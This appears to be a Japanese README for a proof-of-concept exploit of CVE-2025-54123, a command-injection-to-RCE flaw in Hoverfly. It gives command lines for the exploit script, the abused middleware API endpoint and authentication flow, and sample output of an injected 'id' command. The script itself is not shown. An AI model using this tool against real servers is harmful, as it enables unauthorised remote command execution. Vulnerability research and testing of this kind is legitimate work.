CVE-2025-54123 Hoverfly Command Injection to RCE PoC

概要

このリポジトリには、CVE-2025-54123 の影響を受ける Hoverfly インスタンスと対話するための Python 概念実証 (PoC) スクリプトが含まれています。

このスクリプトは以下をサポートします:

• ユーザー名/パスワード認証情報を使用した認証
• 既存のベアラートークンを使用した認証
• Hoverfly ミドルウェア API エンドポイントとの対話
• API レスポンス出力の表示

警告

このプロジェクトは、許可されたセキュリティ研究、テスト、教育目的のみを対象としています。明示的な許可なくシステムに対して使用しないでください。

必要条件

• Python 3.8+
• requests

依存関係をインストール:

pip install requests

使用方法

認証情報で認証する

python CVE-2025-54123.py \
  --target example.com \
  --port 8888 \
  -u admin \
  -p password \
  --cmd "id"

既存のトークンで認証する

python CVE-2025-54123.py \
  --target example.com \
  --port 8888 \
  --token <ACCESS_TOKEN> \
  --cmd "id"

引数

認証フロー

認証情報が提供された場合:

1. POST リクエストが次の場所に送信されます:

/api/token-auth

2. 返されたトークンが抽出されます。
3. トークンは後続のリクエストの認証に使用されます。

API エンドポイント

スクリプトは次の場所と通信します:

/api/v2/hoverfly/middleware

認証された PUT リクエストを使用します。

出力例

Approaching target : example.com
Attempting login to http://example.com:8888/api/token-auth
Checking Credentials....
Login Successful!
Injected : id
uid=1000(user) gid=1000(user)

プロジェクト構成

.
├── CVE-2025-54123.py
└── README.md

免責事項

このリポジトリは、教育、防御的なセキュリティ、および許可されたテスト目的のみで提供されます。作者は、本ソフトウェアの使用に起因する誤用、損害、または法的結果について一切の責任を負いません。